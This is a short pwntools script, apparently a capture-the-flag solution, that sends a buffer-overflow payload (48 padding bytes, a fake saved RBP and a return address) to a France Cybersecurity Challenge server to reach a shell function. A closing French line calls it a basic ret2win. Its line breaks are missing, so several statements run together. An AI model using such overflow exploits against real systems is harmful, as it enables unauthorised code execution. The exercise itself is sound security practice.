`from pwn import *
p = remote('challenges.france-cybersecurity-challenge.fr', 2050)
buffer = b"A"*48rbp = b"B"*8addr_shell = p64(0x4011a2)
payload = buffer + rbp + addr_shellprint(payload)p.sendline(payload)p.interactive()`
il s'agit d'un basic ret2win